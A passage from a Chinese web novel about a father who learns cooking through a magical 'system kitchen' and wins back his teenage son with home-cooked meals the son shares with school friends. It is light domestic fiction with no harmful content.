两位老人是在楚瑾钰初中毕业那年暑假去世，不知是经历生离死别还是上高中的原因让他成熟些，高一时整年下来倒是没有再打过架。 “那你脸怎么了？” “跟隔壁班人打篮球时不小心撞别人胳膊肘上。” “怎么这么不小心，擦过药没？”楚易文说完就要去拿医药箱。 “就碰一下而已，擦什么药。”楚瑾钰没把脸上伤当回事，说完就拎着书包准备回房间。 “等会，我炖了莲藕排骨汤，你过来喝点。”楚易文把人喊住，起身去厨房盛汤。 其实楚瑾钰刚进门就闻见莲藕排骨汤特有的香味，不过他以为是他爸晚饭留下的味道，压根没多想。 此时随着砂锅盖被掀开，莲藕那清爽的甜香混着排骨的肉香阵阵袭来，简直不要太馋人。面对这种诱人的香味，压根没人能拒绝，等楚瑾钰反应过来时他已经洗完手坐下来，面前餐桌上放着一大碗汤。 清亮的汤中躺着淡粉色莲藕以及浅棕色排骨，瞧着就粉糯糯的藕和炖得软烂脱骨的排骨卖相很是诱人，楚瑾钰低头先喝口汤，明明是肉汤，却因为莲藕的存在多了抹鲜甜，喝起来一点都不腻人。 一天学结束，来上这么碗美味的莲藕排骨汤，简直不要太享受。他连喝两口汤后，用筷子夹起莲藕吃起来，那粉糯绵密的口感，简直越吃越香。 美食最能安抚人心，楚瑾钰吃着吃着，刚刚被怀疑打架时产生的不爽逐渐消失。 楚易文给自己也盛了一小碗汤，坐在旁边陪着他慢慢喝，在看到儿子表情放松下来时开口问：“今天你们班跟隔壁班一起上体育课吗？” “不是。”楚瑾钰摇摇头，可能是莲藕排骨汤太好吃，他心情不错，随口道，“是隔壁班有个煞笔欺负我前桌，我约他们放学篮球场上见，结果一个能打的都没有。” “不要说脏话。”楚易文提醒一句，才好奇地问他前桌是谁。 “你又不认识。”楚瑾钰又喝两口汤才补充，“他叫邵言易。” 楚易文听到“邵言易”这个名字，心里下意识咯噔一声。 “你跟你前桌关系不错？” “一般。” “一般你怎么帮人家出头？” “没帮他，主要之前在老家不是用竹子做了几个笔筒，今天带到学校去送给叶其林他们，多的那个我留着没用，就给我前桌了，结果隔壁班煞……傻子竟然踩我做的笔筒还不道歉。” 其实今天在学校里的小冲突很简单，就是隔壁班有几个男生来楚瑾钰教室找朋友，不小心把邵言易放在桌上的笔筒撞掉还踩了一脚，结果跟瞎了一样直接走过去，楚瑾钰看着不爽，就约他们放学后见了。 楚易文听完前因后果一时也不知道说什么，说让他离邵言易远点，就他儿子这个叛逆的性格，说不定反而非要跟人家凑一块。 他在心里叹气，觉得养孩子不容易，简直操心死时。楚瑾钰却是悄悄看了他两眼，心里琢磨着既然他都有空炖汤给自己喝，那午餐和晚餐说不定也有时间做？或者单做个午餐也不错啊。 心里想着，楚瑾钰却是没立刻开口，而是加快喝汤吃肉的速度。 他进食速度一快，立刻引来楚易文注意：“慢点吃，晚上没吃饱吗？” “学校食堂菜太难吃了，根本没胃口，我本来特意带了罐酸萝卜过去，谁知道胡一齐那么能吃，中午就把整瓶给吃完了。”楚瑾钰说完又看他一眼，“我早上带到学校的土豆丝饼他们也都吃了，全都说好吃，比外面卖得还香。” 换做以前听到儿子嫌学校食堂不好吃，楚易文大概会先说教几句让他不要挑食的话，再多给点钱让他在校外买着吃。 但现在他为了跟儿子关系更亲近点，连公司都放下，闻言自然是直接道：“那你中午回来吃，正好我今天买了只土鸡，明天可以杀了做芋头烧鸡。” “你不忙吗？”楚瑾钰听到自己想要的回答心里有点高兴，嘴上却是偏偏还要多问一句。 “公司那边交给你吴叔叔了，我现在没什么好忙的。” 说是退出公司，但吴有健并没有那么多现金买断他那部分股份，因此楚易文除了收到一大笔钱外手里还剩点股份，目前来说算是从老板转变为只拿分红的股东。 “为什么交给他？”楚瑾钰不解。 “你爸累死累活干了那么多年，现在想休息下不行吗？” “我又没说不行。” 楚瑾钰说完端起碗将剩下那点汤一饮而尽，吃得又撑又满足。 “锅里还有，还要不要吃？” “吃不下了。” 楚瑾钰嘴巴倒是还有点意犹未尽，但肚子是真装不下，只能遗憾地摇头。 刚吃饱不适合立刻洗澡或者睡觉，父子二人客厅一起看了会电视，感觉肚子里的汤消化不少才各自回房间。 等到躺到床上时，楚瑾钰想到晚上回来吃的莲藕排骨汤，又想到明天要回家吃饭，先是有些高兴，不过很快表情又有些失落。 其实他高中之前都是回家吃饭的，直到爷爷奶奶去世，他才开始吃学校食堂。显然明天回家吃饭这件事让他想到疼爱自己的两位老人，再思及他爸以前从来没在家做过饭给爷爷奶奶吃，心里对他有点小埋怨。 不过少年人临睡前那些杂思，等睡一觉醒来就消散得七七八八，等听到敲门声时，他打个哈欠起床，洗漱完出门就闻见莲藕排骨汤特有的香味。 “我拿昨晚剩的汤煮了面条，赶紧来吃早餐。” 楚易文昨天晚上睡觉时把新获取的几个菜谱全部学会，在学习豆角焖面时学了手擀面，今天早上正好能用上。 手工擀出来的面口感本来就比挂面好，再配上莲藕排骨汤，煮出来那叫一个香。微黄色面条卧在清亮的汤里，中间还夹着浅粉色莲藕、浅棕色排骨，卖相别提多诱人。 楚瑾钰光闻香味食欲就瞬间上来，还没等他来吃，楚易文又把个刚煎好的鸡蛋盖在他碗里，瞬间让整碗面看起来更加可口。 他忍着馋先拍了张照片，随即才握着筷子吃起来。现煎的鸡蛋那叫一个香，最外圈吃起来带着股焦香，表面稍微洒了点盐花提味，咀嚼间蛋白的煎香和蛋黄的细腻融合在一起，简直越吃越香。 咬几口鸡蛋再来口面条，鸡蛋的鲜香和面条的爽滑筋道融合在一起，简直是人间美味。除此之外，面汤也很鲜，莲藕的清爽经过再次炖煮，已经完全融在汤里，喝起来鲜甜可口。 满满一大碗面，楚瑾钰呼噜呼噜就吃完，回味着嘴里的余味，他不得不承认，虽然他很爱奶奶，但比起他奶以前每次都快煮成糊糊的面条，他还是更爱他爸做的这种。 吃饱喝足，楚瑾钰准备出门前想到什么，跑到冰箱里拿了两罐酸萝卜塞进书包里。 楚易文最近在练刀工，酸萝卜是真没少做，看到儿子的动作非但没有阻止，反而开口道：“多拿几罐，给你们班同学都分点，反正家里这么多也吃不完。” 楚易文其实很想说你知道吃不完干嘛还做那么多，不过吃人嘴软，他到底还是把话咽回去，又拿一瓶后眼见再磨蹭要迟到了，赶紧换鞋出门。 云市一中，高二三班教室。 听到胡一齐问他为什么不带早餐，楚瑾钰将照片发到群里：“我早上吃的面条，这怎么带？” “拿碗打包啊！”胡一齐看照片就觉得这面肯定好吃，声音都微微激动起来。 “行行行，下次一定。”楚瑾钰说完把带过来的酸萝卜塞给他一瓶，好堵住他嘴巴。 胡一齐拿到酸萝卜后本来都安静下来，想着待会下早读去买份汤粉配酸萝卜片一起吃也不错，结果楚瑾钰却是自己又欠欠地分享他中午要回家吃饭的消息。 “咱爸中午做什么好吃的？” “其他菜不知道，不过好像有个芋头烧鸡。” “芋头烧鸡？这个我爱吃，你可得给我带点尝尝。”胡一齐听到芋头烧鸡，眼睛瞬间就亮起来，从上第一节课开始就盼着中午放学。 楚瑾钰不知道是不是受他影响，也开始觉得今天时间过得特别慢，恨不得直接到中午放学。 家里，楚易文不知道自家儿子以及他好朋友有多期待他做的芋头烧鸡，不过他此时在家已经开始准备午餐。 乡下散养的走地鸡肉质就是好，他将鸡切块放到水里先浸泡着去血水，转头戴上手套开始收拾芋头。 芋头好吃，但黏液可能会导致手发痒，他将芋头处理好才摘下手套，起锅烧油开始煎芋头。老爷子做晚在系统厨房教过他，做芋头烧鸡时最好把芋头先炸或者煎一遍，这样既能给芋头定型保持成菜后的卖相，还能增加芋头的焦香。 芋头在锅里被煎好后一股浓郁焦香扑鼻而来，闻起来很是诱人。 芋头煎完，楚易文拿手机看了眼时间，伸手把已经去好血水的鸡肉捞出来进行煸炒。高温下，鸡肉油脂很快就被煸出来，浓郁的脂香逐渐蔓延整个厨房。 随着一勺料酒下去锅中，热气升腾间带走鸡肉的腥气，让锅里的鸡闻起来更加鲜香。这还不算完，等到他用锅铲把鸡肉推到旁边，用底油将葱、姜、蒜、干辣椒等配料爆香时，厨房里香味更加有层次感。 楚易文神态专注而认真，严格按照老爷子的教导把握这道菜的火候，该大火时大火，该小火时小火。 在鸡肉香味完全被炒出来以后，他开始加入生抽老抽上色，加入热水开始炖煮。大火将锅烧开，楚易文认真将表面的浮沫撇出来，才盖上盖子转文火慢炖。 鸡肉在锅里炖着时他也没闲着，在左边灶台上开始做豆角炒肉。经过系统厨房的学习，他现在做这道菜明显更有条理，炒出来的豆角看着就好吃。 豆角炒肉快出锅前，他转身先把旁边锅盖打开，将之前煎好的芋头加入鸡肉中，重新盖上盖子继续炖煮。 在楚易文忙活时，源源不断的香味顺着厨房窗口飘出去，被外面的风吹得飘到小区里，可把刚回小区的其他业主给馋坏了。 “谁家在炖鸡？太香了！” 有人本来还不知道中午要吃什么，此时被鸡鲜味给馋到，立刻就决定中午也吃鸡。 “好像是芋头烧鸡，我闻见芋头香了，妈呀，口水都要下来了。” 小区业主们被馋得肚子咕咕叫时，厨房里楚易文做的芋头烧鸡终于要炖好，出锅前他还往里面点了些香油。 香油是从老家带过来的，乡下人自己榨的香油比超市里卖得可香多了，几滴香油点进去，瞬间又为芋头烧鸡增香不少。 楚易文特意算着时间做的午餐，等到他把三菜一汤端上桌时，楚瑾钰正好回来。 好香啊！ 刚刚进小区时楚瑾钰就闻见隐约的饭菜香味，心里还在想会不会是自己家飘出来的，等进入大门，扑鼻而来的香味让他瞬间就高兴起来。 “你回来得正好，洗个手过来吃饭。”楚易文将筷子和米饭端出来道。 他说话的同时楚瑾钰已经飞快跑去洗手，手还没完全擦干人已经坐上餐桌，一眼就被那道芋头烧鸡给吸引。 鸡肉经过生抽老抽上色呈现琥珀色，浓稠的汤汁挂在上面，为它增添几分油亮。先煎后炖的芋头整体颜色偏奶白色，不过挂上汤汁后颜色看起来带着点浅棕色。鸡肉和芋头颜色搭配在一起卖相诱人就算了，香味更是浓郁，还没吃就令人口齿生津。 早餐吃得够饱，本来放学时楚瑾钰还没觉得饿，现在望着桌上色香味俱全的菜，肚子却是咕咕叫起来。 第22章 孜然牛肉 楚瑾钰伸出筷子夹起块鸡肉, 色泽诱人的鸡肉入口，轻轻一咬就脱骨，咀嚼间肉质滑嫩软烂, 鸡鲜中带着芋头特有的清香，吃起来半点腥味都没有，简直不要太香。 好吃！ 他吃得根本停不下来，轻松脱骨的鸡腿肉进肚，又夹起个鸡翅，鸡翅肉没有鸡腿那么多，但皮滑肉嫩, 连骨头都被炖烂，好吃到他差点把骨头都咽下去。 连吃几块鸡肉他才想起来扒口米饭，米香和肉香混合在一起, 好吃的同时，主食的饱腹感更是令他感到满足。 吃完鸡肉，他开始朝芋头下筷子。芋头在炖之前经过油煎, 刚咬下去时能尝到淡淡焦香，粉糯绵软的芋头吸收鸡肉汤汁, 它本身略带清甜的味道和酱汁相融合，吃得楚瑾钰眼睛都亮起来。 “感觉这芋头比鸡肉还好吃。” 楚易文闻言脸上露出笑容：“喜欢就多吃点。” “嗯。”楚瑾钰应了声，将鸡肉和芋头都夹到碗中，感觉嫩滑的鸡肉和软糯的芋头简直是完美搭配, 吃口肉，吃口芋头，再来口米饭，简直不要太享受。 由于芋头比较粉糯，用它炖出来的鸡汤汁自然偏浓稠。而这浓稠的汤汁里吸收鸡肉的鲜香, 以及炖化的芋头，用它来拌饭吃简直不要太鲜香。 楚瑾钰将一勺汤淋在米饭上，筷子轻轻一拌，原本雪白晶莹的米饭被染成棕褐色，每一粒都透着鲜香。 他连吃两口米饭，香得咀嚼速度都不自觉加快，直到把饭咽下去，终于开始吃豆角炒肉。 豆角配上肉一起炒，两种颜色搭配在一起漂亮就算了，味道更是特别好。豆角吃起来脆嫩爽口，肉则是特别鲜嫩入味，这道菜不像芋头烧鸡那样第一口就令人惊艳，却是有种越吃越上瘾的好吃。 今天午餐除开豆角炒肉、芋头烧鸡外，还有蒸蛋和平菇汤。平菇是楚易文上午现买的，煮出来那叫一个鲜。 跟楚瑾钰吃菜吃饭停不下来不同，楚易文却是先端着碗汤慢慢喝着，对自己挑的平菇很是满意，觉得不光炖出来汤很鲜，平菇吃起来更是特别爽嫩。 饭桌上很安静，楚瑾钰感觉面前三个菜都特别下饭，吃得他嘴根本停不下来。很快一碗饭就吃完，他先往嘴里塞口鸡肉才起身去盛饭，盛好饭的同时就听见手机连着响了好几声。 楚瑾钰不用看手机就猜到应该是胡一齐发过来的消息，他将嘴里饭菜咽下去后开口道：“爸，我能带点菜去学校不？食堂饭菜太难吃了，我想给朋友带点菜。” “行啊。你怎么不早说，早说应该吃之前就夹出来，哪有让朋友吃剩菜的。”楚易文又不是什么小气的人，加上中午做的芋头烧鸡分量是真不少，一整只鸡加上好几个芋头炖了满满一大锅。 他说完直接起身去厨房拿了个保温桶，把豆角炒肉和芋头烧鸡每样都装些进去。至于蒸蛋，他本来就没蒸多少，而且也不好带，他就没准备装。 “汤要吗？” “有剩的就装点，没有就算了。”楚瑾钰本来想说有的吃就不错了，他朋友不介意剩菜，不过转念一想，胡一齐估计是无所谓的，商时贸这家伙破事最多，还真不一定。 汤都是盛到碗里喝，就算是剩下的也很干净，楚易文闻言便没急着装，而是坐下来继续吃饭。 由于菜味道太好，而且还下饭，楚瑾钰吃得那叫一个快，二十分钟不到就把自己给吃撑着。 他满足地打个饱嗝，终于有空看手机，看到群里胡一齐不停发消息问着芋头烧鸡，无语地摇摇头，打字回了条消息表示会给他带，待会直接教室见。 “爸我去学校了。”楚瑾钰拎着保温桶起身，忽然又想到晚饭，脚步瞬间慢下来，“对了爸，晚上我们吃什么？” 看得出来他也是长心眼了，不问晚上能不能回家吃饭，直接问吃什么。 他那点浅白的心思楚易文一眼就能看出来，不过他看破不说破：“你想吃什么？” “我都可以。”楚瑾钰声音里透着高兴。 “那我晚上烧个排骨，再炒个青菜煮个鱼汤？” 只要他爸愿意做，楚瑾钰吃什么都没意见，一个劲点头说可以。 “行，那你去上学吧，在学校好好上课……”趁着儿子现在心情好能听得进话，楚易文趁机交代几句。 “知道了。” 楚瑾钰应完就拎着保温桶出门去，没多久就到学校。 教室里此时人不多，不过后排胡一齐、叶其林、商时贸三人却是都在。 “你终于来了！”胡一齐看到他进来，立刻跳起来就去接他手中那个保温桶。 楚瑾钰：“你们该不会放学就一直在这等着吧？” “没有，在外面买了几个汉堡，刚吃完回来。”叶其林边玩手机边说。 他话落，胡一齐已经将保温桶盖子打开，一股浓郁香味瞬间就飘出来，就连刚刚在家吃到撑的楚瑾钰闻着都觉得很香，更别说他们几个。 “唔，这鸡太好吃了！” “不用筷子好歹也戴个手套。” 看到胡一齐直接上手吃，商时贸将之前吃外卖多余的一次性筷子丢过去。 “就是，你讲究点行不行，我们还得吃呢。”叶其林说话的同时手里已经拆出双筷子跟着吃起来。 保温桶内芋头烧鸡还热乎着，鸡肉入口先尝到表面汤汁的咸鲜浓郁，咀嚼间肉质滑嫩软烂，又入味又香。 “叔叔这手艺，真是绝了！”叶其林夸完就又一筷子接一筷子吃起来，发现不光鸡肉好吃，芋头更是粉糯绵软，入口即化。 “你慢点吃，我都才只吃两块肉。” 胡一齐对美食是真爱，如此美味的芋头烧鸡让他都舍不得吃太快，看到叶其林嘴巴都没停过，开始护起食来。 旁边商时贸没有开口，不过他进食速度也不慢，看他脸上那个表情，显然对芋头烧鸡和豆角炒肉味道都很满意。 看到他们三个吃得那么香，楚瑾钰肚子里还没消化完，但嘴巴却是又馋起来，不过看到他们三个都快抢起来，还是打消再尝两口的念头。 “你们不是说吃过汉堡了？” 胡一齐咀嚼着芋头烧鸡，好吃到眼睛都眯起来，闻言开口道：“汉堡跟咱爸做的菜比起来简直就是垃圾，你说咱爸这菜是怎么做的，鸡烧的好吃就算了，连豆角都炒得那么香，简直是人间美味！” “你别咱爸咱爸的了，有本事你当着我爸面前叫去。” 楚瑾钰话落，胡一齐还没说什么，叶其林先笑起来：“就他那脸皮厚的，你以为他会不好意思叫？” 胡一齐没空跟他们拌嘴，发现保温桶里还有米饭，直接用保温桶盖搞点米饭配着菜一起吃起来，他那个吃相，不知道的还以为中午没吃饭。 “叔叔这菜做得确实好吃，豆角炒得特别有锅气。”看得出来商时贸挺爱吃豆角炒肉，说完也弄了点米饭配着吃起来。 “我爸竟然还装了这么多米饭，你们吃得完吗？” 楚瑾钰之前没注意，这会看到他们吃才发现保温桶里有饭。 “把那个‘吗’字去掉，开玩笑，这么好吃的饭菜，我一个人就能干光。”胡一齐说着往嘴里扒两口饭，享受地晃着脑袋，“太好吃了，芋头烧鸡配米饭可真香，感觉以前吃的什么黄焖鸡都是垃圾。” 有菜有饭，他们三个吃得那叫一个香，甚至吃着吃着还抢起菜来，然而教室里其他同学闻着香味却是被馋得不行。 班里有两个学生由于不怎么饿，本来准备不吃午饭，现在闻着栗子烧鸡和豆角炒肉特有的香味，食欲瞬间就上来。 现在去食堂不一定来得及，被馋得肚子咕咕叫的两个学生干脆去小卖部买泡面去。 楚易文往保温桶里装的饭菜并不少，可耐不住胡一齐三个大小伙子能吃，十分钟不到就把里面饭菜和汤全部吃光光，甚至还有点意犹未尽。 三人吃完整个保温桶里啥都没剩下，只带着点油光，不过商时贸比较讲究，觉得不能让楚瑾钰把脏桶带回去。 “胡一齐，你去洗保温桶。” “干嘛叫我洗？” 叶其林：“因为你吃得最多，你不洗谁洗。” “没事，直接拿回家丢洗碗机去洗。”楚瑾钰自己不是爱洗碗的人，推己及人，他倒是没非要胡一齐洗。 “不洗等你拿回家有味道，你爸看见了显得我们没礼貌。” 商时贸说完，胡一齐觉得要给楚瑾钰他爸留个好印象，这样方便以后去蹭饭，于是起身拿着保温桶出去。 “老四，咱们晚上吃什么？” 洗完保温桶回来，胡一齐回味着刚刚吃的芋头烧鸡，已经开始惦记起晚餐来。 “我爸说晚上做红烧排骨，还有青菜和鱼汤。”楚瑾钰说到这话头有些止不住，“他做的红烧排骨比食堂的好吃多了，炒的青菜也香，鱼汤更是一点都不腥。” “那你晚上可得多带点，菜不够的话多带点米饭也行。” 都说吃饭不积极，思想有问题。要是按照这句话来看，胡一齐思想那绝对是没问题，下午放学铃声刚响，他就赶紧推着楚瑾钰道：“快快快，你赶紧回家。” “你急什么，饭又不会跑。”楚瑾钰好笑道。 他回到家时，整个屋子里都弥漫着饭菜香，香气诱人的同时，也让家里特别有烟火气息。 “晚上还要给你朋友们带饭吗？”楚易文看到他拎着保温桶回来问。 楚瑾钰点头：“他们中午吃你做的菜差点没抢起来，说从来没吃过那么好吃的饭菜……” 他们家又不缺钱，楚易文自然不会舍不得点饭菜，甚至他晚餐时还特意多做了点，就是怕儿子还要继续带。 其实楚易文有想过要不要用儿子给朋友带饭这事来提点要求，比如让他在学校认真读书，不要抄作业什么的。不过想到才刚和儿子关系好那么一点点，他又觉得有些不合适，最终还是没多说什么。 看到他爸将保温桶装满，楚瑾钰心情有些愉悦，开饭后边吃边主动找话题：“爸你下午又去钓鱼了？” “对，今天运气还行，钓到两条鲤鱼，正好拿来炖鱼汤。” 桌上那盆鲫鱼豆腐汤看起来卖相很是诱人，奶白色汤里卧着被稍微煎过鱼皮略显金黄的鲤鱼，还有被切成块的豆腐。 鲤鱼的腥味完全被去除，炖出来的汤只有纯粹的鱼鲜味以及淡淡豆腐香，喝起来简直能鲜掉人眉毛。 楚易文：“感觉这豆腐还是不如你堂爷爷他们家送的好吃。” 豆腐是他钓鱼回来时去菜市场买的，已经是他在那里看到最好的豆腐。 “我觉得还行，都挺好吃。”楚瑾钰夹起块豆腐送入口中，豆腐吸收鱼汤，吃起来嫩滑鲜香，他没吃出来什么不好。 两条不大不小的鲤鱼炖出满满一大锅汤，楚瑾钰倒是挺爱喝，但最后还是没喝完。 “别硬撑，剩下的汤可以等你下自习时拿来煮面。” 楚瑾钰听到晚自习结束还有鱼汤面吃，明明肚子已经吃得很饱，心里却是瞬间就期待上。 学校里，胡一齐坐在教室中盼啊盼，盼啊盼，终于把楚瑾钰给盼过来，激动地直接起身跑到教室门口去接他……手里的保温桶。 保温桶盖子一打开，最上面就是红烧排骨，那红润诱人的色泽，那看着就酥烂的肉质，以及浓郁的香气，还没吃就令人垂涎欲滴。 “这红烧排骨可真漂亮，看着就好吃，我忽然觉得食堂的红烧排骨有点不咋地了。” 胡一齐倒不是喜欢拉踩，而是这对比实在太鲜明。他说完筷子都顾不上拿，直接捏起块排骨就往嘴里塞，入口先尝到甜咸交织的滋味，咀嚼间肥肉部分吃起来脂香浓郁，肥而不腻，瘦肉部分酥烂入味，烂而不柴。 “好吃吧？”楚瑾钰明知故问。 “太好吃了！满分一百分的话我给两百分，简直就是人间美味，我从来没吃过这么香的红烧排骨！”胡一齐真心实意地夸赞。 下午时三个人也没一直干坐在教室里等，而是出去买了点一次性碗筷，见胡一齐又直接上手，商时贸没好气地把碗筷放到他面前。 “确实好吃，我算知道上次你为什么嫌食堂的红烧排骨太甜了。”叶其林咀嚼着口中咸甜适中，轻轻一咬就能软烂脱骨，而且越嚼越香的红烧排骨，觉得确实比食堂好吃一百倍。 红烧排骨算是楚易文最早学习的几道菜之一，他每次做手艺都会有所精进，能惊艳到胡一齐他们简直不要太正常。 香菇青菜被保温桶焖过来，颜色依旧保持翠绿，吃起来还是那么脆嫩，商时贸来口红烧肉再来口青菜，吃得他微微点头，眼底透着满足。 “你们尝尝鱼汤，里面鱼是我爸下午现钓的，不光汤特别鲜，鱼肉也很嫩，就是要小心点鱼刺。”楚瑾钰看到他们吃得赞不绝口，心里有点骄傲。 “你爸可以啊，我看好多人钓鱼都钓了个寂寞，你爸竟然能钓到鱼回家炖汤。” 叶其林话落，胡一齐立刻重新拿个碗来盛汤：“咱爸亲自钓的鱼？那我得好好尝尝，唔，好鲜的汤，不愧是咱爸钓的鱼，炖出来就是好喝。” “服了你了，我爸又不在这，你拍马屁给谁看？”楚瑾钰好笑道。 他们在后排吃得热闹，却是可怜班里吃完饭提前回教室学习的同学们，闻着班上诱人的饭菜香，感觉之前好像吃了个假晚饭，现在又饿了。 接下来的日子，楚瑾钰每天都回家吃饭，顺便给学校里三个嗷嗷待哺的朋友带饭，和楚易文的父子关系明显比国庆前要亲近不少。 而楚易文在每天持之以恒的刀工练习中，终于在十一月中旬结束每天刀工日常任务。 【叮~恭喜宿主刀工达到初级标准，日常任务已结束，获取奖励——刀具套装x1】 系统奖励的刀具套装看着就很有档次，楚易文握着其中一把文武刀仔细打量，感觉这刀握感特别舒服，像是根据他手型打造的一样。 整套刀具他是越看越喜欢，然而日复一日地练习却只得到系统初级标准评价，他心里却是有些不服气。在他看来，他都已经能轻而易举将萝卜或者土豆切成薄如蝉翼的透明片，怎么看都不至于是初级。 好在他已经是个成熟的中年人，欣赏完刀具就收拾好那点小情绪，抬脚走到沙发前坐下，在心里对系统说要学习“文思豆腐”。 文思豆腐菜谱是他国庆期间获取，由于刀工不过关一直学习不了，现在刀工任务完成，他便想尝试一下，这次倒是成功进入系统厨房。 在看到老爷子那张熟悉的面孔时楚易文还挺高兴，然而高兴不到十分钟，他就后悔自己手欠，非要现在来学这道菜。 文思豆腐是道特别考验刀工的菜，要做它，首先得做到将豆腐横切八十八刀，竖切一百八十八刀，将豆腐切成大概五千根细丝，而且还得保证豆腐丝入水后根根分明。 “让你切豆腐丝，没让你打豆腐脑，就你这稀碎的刀工，谁给你勇气来学这道菜？” “手抖什么，你是七老八十了吗？让你切八十八刀，你切个十八刀都那么费劲！” 在老爷子一句比一句的毒舌中，楚易文只恨不得时间倒回，他绝对不会盲目自信地跑过来学什么文思豆腐。 不作就不会死，他现在算是骑虎难下了，想退出都没办法，只能在系统厨房一遍又一遍切着豆腐。练刀工本就是个很枯燥的活，楚易文的情绪从平静到烦躁，再平静再烦躁，如此反反复复不知道多少回，终于开始越切越像样。 不想被困在系统厨房里练刀工练到天荒地老，楚易文努力平复心情，将注意力都放到面前那块豆腐上。 一、二、三……八十七，八十八。 横着最后几刀落下去时，楚易文连呼吸都不自觉屏住，总算是成功切出来。 系统厨房里时间流逝根本不太明显，等他终于把豆腐切出来时，立刻抬头望向老爷子。 “勉强凑合，日后还得多练。” 听出来老爷子还是不太满意，楚易文却是完全不敢吱声。没办法，在见识过老爷子闭上眼睛都能把豆腐切成细丝后，他算是明白自己这水平确实还有得练。 好在把豆腐切出来，接下来就简单了，将配菜切好，把汤底调出来就行。虽然配菜需要切成和豆腐相同的细丝，但冬笋、火腿、香菇等食材可比豆腐好切多了。 终于踩在勉强及格的线上做出这道菜，从系统厨房出来的楚易文感觉身心疲惫。他瘫在沙发上休息时心里还在庆幸，还好早上出门买过菜，不然他现在可真提不起劲动弹。 转眼时间就快到十点，他再是不想动弹，想到儿子要回来吃饭，还是得去厨房忙活起来。 成功做出文思豆腐后，楚易文刀工明显有所进步，在切牛肉时都不用怎么看，刀落下去时自然而然就逆着牛肉纹理切出均匀的薄片。 心累归心累，他做菜时还是很认真，将切好的牛肉进行腌制，随即开始处理其他食材。今天这牛肉他准备做道孜然牛肉，先用大火将牛肉快炒，再爆香底料，浓郁的香味源源不断从厨房里飘出来。 他家位置靠近小区大门，最近这一个月小区其他业主只要在饭点回家，必会被馋到，在楚易文不知道的情况下，前两天他做红烧鱼时还有个小孩被馋哭了，喊着要吃鱼，结果家里人给他做好鱼他又嫌不好吃。 云市一中，高二三班。 楚瑾钰以前对午饭、晚饭都不是很积极，每次都是胡一齐催才起身跟着去吃饭。但最近这段时间，他却是到放学的点就第一个从后门跑，今天自然不例外。 还没到家门口他就闻见孜然特有的香味，还有阵阵浓郁肉香，感觉特别像是烧烤味，脚步不自觉加快起来。 第23章 苦瓜酿肉 “爸, 你做什么好吃的了？一股孜然味，太香了！”楚瑾钰推开门就闻见更加浓郁的香味。 高温爆炒下，孜然的香味被完全激发出来, 和牛肉的油脂融合在一起，脂香与香料气息形成诱人的复合香味，还没吃就已经令人陶醉。 “你昨天不是说想吃牛肉，做了道孜然牛肉。” 楚易文话刚落，楚瑾钰已经来到厨房，边洗手边伸长脖子去看放在旁边的孜然牛肉。孜然牛肉整体是酱褐色，肉上点缀着一粒粒孜然, 油润的色泽让它看起来很是美味。 洗完手楚瑾钰直接端起牛肉往外走，中间实在没忍住偷吃了一口，香得他直晃脑袋。 随着咀嚼, 牛肉上的孜然粒被咬开，散发出更加浓郁的香气，牛肉吃起来外焦里嫩, 咸香微辣，好吃到他甚至有些护食起来, 不想给学校里那几个“儿子”带。 男生可能都喜欢开“叫爸爸”的玩笑，楚瑾钰最近这一个月左右天天给他们带饭，本来他是年纪最小那个，现在却是底气十足地给自己升辈分。最主要胡一齐这个吃货是真没节操, 为了让他多带点，某天还真喊了声“义父”。 当然，他那“公若不弃，愿拜为义父”的吕布口吻，楚瑾钰可不敢认, 怕哪天被捅。 饭菜上桌后，他迫不及待夹着孜然牛肉就往嘴里塞，单吃觉得香，配米饭更是绝了。 楚瑾钰就着外焦里嫩的牛肉干掉半碗饭，终于反应过来什么，抬头道：“爸，你怎么不吃？” “没什么胃口，你先吃。” 楚瑾钰闻言视线落到他脸上，咀嚼速度不由放慢一点：“你生病了？” “没有，就是有点累，休息会就好。” 以前楚易文学做菜时间都不会太长，但今天那道文思豆腐是真有点学伤到他，系统厨房内虽然有老爷子在，不是他一个人，但长时间重复做同样的事情实在很消耗人精神气。 他现在说具体哪里不舒服吧，其实也没有，就是感觉提不起精神。 楚瑾钰嘴动了动，却不知道怎么说关心的话，最后只能说：“那晚上你别做饭了，我在学校吃。” “行，你身上还有钱吗？”楚易文感觉下午真不一定能提起劲来做饭，点头答应下来。 “有。” 哪怕楚瑾钰说不缺钱，楚易文还是起身又拿了好几百块现金给他，生怕他钱不够用。 吃完午饭，楚瑾钰拎着保温桶准备去学校时，想想还是转头说：“爸你要实在不舒服就去医院看看。” “我知道，可能就是晚上没睡好，待会补个觉就行，你赶紧去学校，不用操心我。”楚易文不想让儿子担心，干脆随便找个理由。 楚瑾钰看他那样子确实也不像生病，这才出门去。他拎着保温桶刚进学校，还没走到教学楼下，就见胡一齐飞奔过来。 “今天有什么好吃的？”胡一齐边接他手里的保温桶边问。 楚瑾钰：“有孜然牛肉，你肯定爱吃。” “孜然牛肉？听起来就很好吃！” 胡一齐声音里透着期待，说完一溜烟顺着楼梯上去，速度快得楚瑾钰都没追上。 几分钟后，整个教室里弥漫起阵阵香味，其中就数孜然牛肉香味最霸道。有其他学生进来时，还下意识问：“谁在吃烧烤？太香了！” 胡一齐他们已经完全沉浸在美食中，没有人吱声，不过很快同学们也反应过来，原来又是楚瑾钰带过来的饭菜香。 牛肉表面微焦，但内里却是嫩得出汁，配上咸香微辣的滋味，好吃到要上天。其实商时贸原本不是很爱这种重口调味的菜，但这会却是越吃越觉得好吃，一口牛肉一口米饭，根本停不下来。 “叶其林你又比我多吃一块！” “那你昨天还多吃个鸡翅呢！” 叶其林和胡一齐为谁多吃一块牛肉争起来时，商时贸不管他们两，又夹一筷子送进嘴里，仔细品味牛肉的鲜嫩和孜然的浓香。 “别吵了别吵了，我帮你们分。”　楚瑾钰也是服了，直接拿双一次性筷子帮他们分菜，省得吃个饭天天吵吵，让其他同学看笑话。 “不行，他那块比我大！” 听到胡一齐这话，楚瑾钰白他一眼：“你这意思是说我爸刀工不好？切的肉大大小小？我回去就跟我爸说。” “别别别，是我看错了，咱爸刀工绝对没得说。”对于吃货来说，最不能得罪的人就是厨子，胡一齐瞬间就认怂。 实际上确实是他下意识看别人碗里觉得大，就楚易文经过文思豆腐磨出来的刀工，这道孜然牛肉切得不说每片肉都一模一样，但大小绝对差不多。 叶其林：“还咱爸呢？上次你不是喊老四义父吗？那按辈分你应该喊他爸爷爷。” “你……” 胡一齐话还没说出来就被商时贸打断：“你们别闹了，赶紧吃饭，待会老师过来看到小心被说。” 